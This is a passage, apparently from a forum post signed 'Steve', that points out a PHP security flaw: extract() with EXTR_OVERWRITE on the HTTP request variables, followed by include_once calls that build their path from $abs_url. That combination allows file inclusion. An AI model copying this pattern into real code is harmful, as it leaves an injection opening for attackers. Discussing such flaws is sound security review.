= @${'HTTP_' . $type . '_VARS'}; if (@count($arr) > 0) extract($arr, EXTR_OVERWRITE); } 5) and, sure enough, later in the code, we have: include_once("$abs_url/cookie.php"); as well as include_once("$abs_url/template2.php"); - Steve